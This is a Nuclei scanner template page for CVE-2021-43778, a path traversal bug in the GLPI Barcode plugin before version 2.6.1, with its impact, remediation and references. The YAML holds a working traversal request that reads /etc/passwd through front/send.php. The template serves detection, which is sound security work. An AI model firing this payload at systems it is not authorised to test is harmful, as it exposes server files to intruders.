Skip to content
Nuclei Templates

GLPI plugin Barcode < 2.6.1 - Path Traversal Vulnerability.

ID: CVE-2021-43778

Severity: high

Author: cckuailong

Tags: cve,cve2021,glpi,lfi,plugin,traversal,glpi-project

Description

Section titled “Description”

Barcode is a GLPI plugin for printing barcodes and QR codes. GLPI instances version 2.x prior to version 2.6.1 with the barcode plugin installed are vulnerable to a path traversal vulnerability.

YAML Source

Section titled “YAML Source”
id: CVE-2021-43778


info:
  name: GLPI plugin Barcode < 2.6.1 - Path Traversal Vulnerability.
  author: cckuailong
  severity: high
  description: Barcode is a GLPI plugin for printing barcodes and QR codes. GLPI instances version 2.x prior to version 2.6.1 with the barcode plugin installed are vulnerable to a path traversal vulnerability.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: Upgrade to version 2.6.1 or later. Or, as a workaround, delete the `front/send.php` file.
  reference:
    - https://github.com/AK-blank/CVE-2021-43778
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43778
    - https://github.com/pluginsGLPI/barcode/security/advisories/GHSA-2pjh-h828-wcw9
    - https://github.com/pluginsGLPI/barcode/releases/tag/2.6.1
    - https://github.com/pluginsGLPI/barcode/commit/428c3d9adfb446e8492b1c2b7affb3d34072ff46
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-43778
    cwe-id: CWE-22
    epss-score: 0.59414
    epss-percentile: 0.97756
    cpe: cpe:2.3:a:glpi-project:barcode:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: glpi-project
    product: barcode
  tags: cve,cve2021,glpi,lfi,plugin,traversal,glpi-project


http:
  - method: GET
    path:
      - "{{BaseURL}}/glpi/plugins/barcode/front/send.php?file=../../../../../../../../etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502205f818c594d0c8e53d9da8dbcc800f3bb03618407d98f1fdae3f71ca756e6278a022100add4cf5c9c31d72f4f949a4d3e9e0d4a8a71d569c87fb634092b09bc88973af1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-43778.yaml"

View on Github